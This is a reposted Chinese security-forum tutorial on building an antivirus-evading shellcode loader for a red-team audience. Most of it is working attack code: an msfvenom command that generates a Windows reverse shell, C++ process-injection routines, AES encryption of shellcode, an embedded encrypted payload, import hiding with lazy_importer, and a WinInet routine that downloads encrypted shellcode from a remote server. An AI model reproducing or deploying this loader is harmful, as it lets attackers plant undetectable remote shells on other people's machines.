本文转自社区:https://forum.butian.net/share/1077
作者:江南小虫虫
https://captmeelo.com/redteam/maldev/2021/12/15/lazy-maldev.html
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.94.141 LPORT=1234-f c -b \x00\x0a\x0d
#define _CRT_SECURE_NO_DEPRECATE
#include"Windows.h"
#include"stdio.h"
int main(int argc,char* argv[])
{
unsignedchar buf[]="msf生成的shellcode";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
printf("Injecting to PID: %i", atoi(argv[1]));
processHandle =OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer =VirtualAllocEx(processHandle, NULL,sizeof buf,(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, buf,sizeof buf, NULL);
remoteThread =CreateRemoteThread(processHandle, NULL,0,(LPTHREAD_START_ROUTINE)remoteBuffer, NULL,0, NULL);
CloseHandle(processHandle);
return0;
}
注意:下面列出的,前面两个库都要自己处理 padding 的问题。。。我是后面才发现的。。不过,不影响整体思路。第三个库我没有测。。
SergeyBel/AES
kokke/tiny-AES-c
kkAyataka/plusaes
aes.h
,让其使用 AES256#include "aes.hpp"
,然后加解密方法如下:
#include"aes.hpp"
// 提前定义key和iv
unsignedchar key[]="16的倍数位的key";
unsignedchar iv[]="16位的偏移量";
// 声明这个库要求的 aes 结构体
struct AES_ctx ctx;
// 初始化
AES_init_ctx_iv(&ctx, key, iv);
// 加密,加密后的结果存放在“加密的内容”处
AES_CBC_encrypt_buffer(&ctx,加密的内容,加密的内容大小);
// 解密,解密后的结果存放在“要解密的内容”处
AES_CBC_decrypt_buffer(&ctx,要解密的内容,要解密的内容大小);
encrypt_shellcode.cpp
,代码如下,得到加密后的shellcode:
#define _CRT_SECURE_NO_DEPRECATE
#include"Windows.h"
#include"stdio.h"
#include"aes.hpp"
int main(int argc,char* argv[])
{
unsignedchar buf[]="msf生成的shellcode";
SIZE_T bufSize =sizeof(buf);
unsignedchar key[]="fengwenhuafengwenhuafengwenhua.";
unsignedchar iv[]="\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_encrypt_buffer(&ctx, buf, bufSize);
printf("Encrypted buffer:\n");
printf("unsigned char buf[] =\n");
int count =0;
for(int i =0; i < bufSize -1; i++){
if(count ==0){
printf("\"");
}
printf("\\x%02x", buf[i]);
count++;
if(count ==15){
printf("\"\n");
count =0;
}
}
printf("\";\n");
system("pause");
return0;
}
#define _CRT_SECURE_NO_DEPRECATE
#include"Windows.h"
#include"stdio.h"
#include"aes.hpp"
int main(int argc,char* argv[])
{
unsignedchar buf[]="aes解密后的shellcode";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
// 解密shellcode
SIZE_T bufSize =sizeof(buf);
unsignedchar key[]="fengwenhuafengwenhuafengwenhua.";
unsignedchar iv[]="\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_decrypt_buffer(&ctx, buf, bufSize);
printf("Injecting to PID: %i", atoi(argv[1]));
processHandle =OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer =VirtualAllocEx(processHandle, NULL,sizeof buf,(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, buf,sizeof buf, NULL);
remoteThread =CreateRemoteThread(processHandle, NULL,0,(LPTHREAD_START_ROUTINE)remoteBuffer, NULL,0, NULL);
CloseHandle(processHandle);
return0;
}
encrypt_shellcode.cpp
从生成中排除,lazy_importer.cpp
,从生成中排除选“否”https://captmeelo.com/redteam/maldev/2021/12/15/lazy-maldev.html 这个作者里面的msf生成的shellcode 刚刚好是16的整数倍,这你敢信???
https://blog.csdn.net/witto_sdy/article/details/83375999
lazy_importer.cpp
中运行之前,我先新建了一个encrypt_shellcode.cpp
,在里面对 shellcode 进行 aes 加密lazy_importer.cpp
中解密就行,如下:CFF Explorer
打开我们 aes 加密 shellcode 的程序,可以看到 IAT 那里,调用了一堆的敏感函数(OpenProcess
, VirtualAllocEx
, WriteProcessMemory
, CreateRemoteThread
and CloseHandle
),这些肯定是 AV 必定检查的地方。原来函数
改成LI_FN(原来函数)
就行,修改如下:需要把所有的 NULL
改成nullptr
#define _CRT_SECURE_NO_DEPRECATE
#include"Windows.h"
#include"stdio.h"
#include"lazy_importer.hpp"
#define BUF_SIZE 4096
#include<iostream>
#include"AES.h"
#include"Base64.h"
usingnamespace std;
constchar g_key[17]="asdfwetyhjuytrfd";
constchar g_iv[17]="gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string EncryptionAES(const string& strSrc)//AES加密
{
size_t length = strSrc.length();
int block_num = length / BLOCK_SIZE +1;
//明文
char* szDataIn =newchar[block_num * BLOCK_SIZE +1];
memset(szDataIn,0x00, block_num * BLOCK_SIZE +1);
strcpy(szDataIn, strSrc.c_str());
//进行PKCS7Padding填充。
int k = length % BLOCK_SIZE;
int j = length / BLOCK_SIZE;
int padding = BLOCK_SIZE - k;
for(int i =0; i < padding; i++)
{
szDataIn[j * BLOCK_SIZE + k + i]= padding;
}
szDataIn[block_num * BLOCK_SIZE]='\0';
//加密后的密文
char* szDataOut =newchar[block_num * BLOCK_SIZE +1];
memset(szDataOut,0, block_num * BLOCK_SIZE +1);
//进行进行AES的CBC模式加密
AES aes;
aes.MakeKey(g_key, g_iv,16,16);
aes.Encrypt(szDataIn, szDataOut, block_num * BLOCK_SIZE, AES::CBC);
string str = base64_encode((unsignedchar*)szDataOut,
block_num * BLOCK_SIZE);
delete[] szDataIn;
delete[] szDataOut;
return str;
}
string DecryptionAES(const string& strSrc)//AES解密
{
string strData = base64_decode(strSrc);
size_t length = strData.length();
//密文
char* szDataIn =newchar[length +1];
memcpy(szDataIn, strData.c_str(), length +1);
//明文
char* szDataOut =newchar[length +1];
memcpy(szDataOut, strData.c_str(), length +1);
//进行AES的CBC模式解密
AES aes;
aes.MakeKey(g_key, g_iv,16,16);
aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);
//去PKCS7Padding填充
if(0x00< szDataOut[length -1]<=0x16)
{
int tmp = szDataOut[length -1];
for(int i = length -1; i >= length - tmp; i--)
{
if(szDataOut[i]!= tmp)
{
memset(szDataOut,0, length);
cout <<"去填充失败!解密出错!!"<< endl;
break;
}
else
szDataOut[i]=0;
}
}
string strDest(szDataOut);
delete[] szDataIn;
delete[] szDataOut;
return strDest;
}
int main(int argc,char* argv[])
{
// 加密后的shellcode
char buf[BUF_SIZE]="I8mLz2JN2G9JVrrDFi7LtccqhCU7uccBqZwB4PvkF7N+5iCaKiJR+LYI391ZFJS6ieyEDFLCaEnV6A0zq+P1uyW6HKEEaF4E9FRztJuTLhiukABcgx0z0b9IeGWPLjRS+QywJoEpMZJtJwIDCiF+NRme/Y56ZUZtR2VKf2ZbjndrGmtVlNlWgG1+3noUS+fOqeW+EzflCLQl+ysXmBsaFXunsxpQGiYt2D6nuZ6ZWitp2HnGo/XdpKyOp6EXV5DczC5MOJQWDrog2nATb3uEibBV17OIldHyfTnAENOFMnI0H3L/Rg8oaBKC/Ab0ZVWtlerqfNwxeozb81c6KMfnFsEzxX2Bx1ZYU4LCJfkkAmDfZzDYuko/h7fbuf+9tnjOhsIF3v7Vlf0YVfkb4Spzrg/Ze9BqGU0He9aUpStXvJhTDuQQAOlXxexkK5Ve50T15fGh3VjfairouotBjLPvrRJI7pP821ZAxFJO2mZGwNDJrM8Bhw9+7Ia+bz9V6mMwKmnHwZixT1HKrYnPx68kVWrgWIE3bTUfYYl4RHSerCLT0fBTK+fQg8QEDnMDZJEkR/lbtg7dy4Mxvdo5Bct6dQsg8NymqQRZ2QAM8MgzbxbeozLYKx+s1n5pmxnVY9btuOFWXfWl5+sP49PnExHb8x4SFU0WamL/ChasjDxyQ7jA2u/ezxhFjKW8AsUGxMF5bdXJnY/I5373nCt+Sl2a6q80CFYzZ7IbipLhtBAwUlbURS5hZ/dXcRI8BXsOhcBhglCjCGA0gjO7W7Cp7Icbet+dhYsrhXq+0R0IkrQ6Q5e/gA9AVP60C8aKxLYyeumedE0M9bcg8w6gDwCGsQ9xMzn97sDuqxR0a5a0OT81Veqqp+HQZ9OBiqusDg6eX/mry32sWdgHGemMS9q4F8GX7yd4amxcnfBwJn7n+6E96GBTlF6QzRMfsol5QG0oEF/QvNZGYz3L6ALme8YW6/6U6NznUEFj+Fcg/tivRuX83VDWMP4OW2qydM7kIHY/RXWTDO912FdiBdDbIniVE+q/RQL8UY9W+OqcUm2+P91QSlUGY+CEm14JGbbneMxHoIBMUX9EigHNiHldTzhjA2Vzfsh4DpEU164xK8HrXmnoya0wvAt36MBpidTksvOjzUhLynPkarjK+cYtxxSUpTkQFP+g/Umfx0k7wWp1EIemssWBx51TiOKvZUFxS36q0tddR4CxFIZ1yTYGswyHnj6ffhoGtCpG1/RVy2Hw22Abl0YoeEzG3QM5TyknLGILspCb+zULv/jgGVmK17CBq00dNcHiT1s79l3ek893nzoif4EdBpEqayyczbbuymPfq2Bx";
// 解密shellcode
string strbuf =DecryptionAES(buf);
//cout << "解密后shellcode:" << strbuf << endl;
char buff[BUF_SIZE]={0};
for(int i =0; i < strbuf.length(); i++){
buff[i]= strbuf[i];
}
// shellcode 处理,两个两个一起,还原成 \x00 的样子
char* p = buff;
unsignedchar* shellcode =(unsignedchar*)calloc(strlen(buff)/2,sizeof(unsignedchar));
for(size_t i =0; i < strlen(buff)/2; i++){
sscanf(p,"%2hhx",&shellcode[i]);
p +=2;
}
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
SIZE_T bufSize = strlen(buff)/2;
//printf("Decrypted buffer:\n");
//for (int i = 0; i < bufSize; i++) {
// printf("\\x%02x", shellcode[i]);
//}
printf("Injecting to PID: %i", atoi(argv[1]));
processHandle = LI_FN(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
//processHandle = LI_FN(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, DWORD(2052));
remoteBuffer = LI_FN(VirtualAllocEx)(processHandle,nullptr, bufSize,(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
LI_FN(WriteProcessMemory)(processHandle, remoteBuffer, shellcode, bufSize,nullptr);
remoteThread = LI_FN(CreateRemoteThread)(processHandle,nullptr,0,(LPTHREAD_START_ROUTINE)remoteBuffer,nullptr,0,nullptr);
LI_FN(CloseHandle)(processHandle);
return0;
}
CFF Explorer
看一下,发现已经看不到了。http://ryze-t.com/posts/2021/12/01/%E6%B5%85%E8%B0%88-Syscall.html
https://blog.csdn.net/lgh1700/article/details/7713516
#include<tchar.h>
#include<wininet.h>
#pragma comment(lib,"wininet.lib")
#define BUF_SIZE 1024
LPSTR GetInterNetURLText(LPSTR lpcInterNetURL,unsignedchar* buff);
LPSTR GetInterNetURLText(LPSTR lpcInterNetURL,unsignedchar* buff)
{
HINTERNET hSession;
LPSTR lpResult = NULL;
// 这里把 "WinInet" 改成 _T("WinInet")
hSession =InternetOpen(_T("WinInet"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL,0);
__try
{
if(hSession != NULL)
{
HINTERNET hRequest;
hRequest =InternetOpenUrlA(hSession,lpcInterNetURL, NULL,0, INTERNET_FLAG_RELOAD,0);
__try
{
if(hRequest != NULL)
{
DWORD dwBytesRead;
char szBuffer[BUF_SIZE]={0};
if(InternetReadFile(hRequest, szBuffer, BUF_SIZE,&dwBytesRead))
{
RtlMoveMemory(buff, szBuffer, BUF_SIZE);
return0;
}
}
}__finally
{
InternetCloseHandle(hRequest);
}
}
}__finally
{
InternetCloseHandle(hSession);
}
return lpResult;
}
//远程获取加密shellcode
char buf[BUF_SIZE]={0};
char url[MAX_PATH]="http://192.168.94.141:8000/buf.txt";
GetInterNetURLText(url, buf);
HeapAlloc
代替VirtualAlloc
,如果target不是某数字杀软,我还有加vmp壳等等。由于篇幅原因,以后有机会我们慢慢聊。https://github.com/fengwenhua/lazy_importer_aav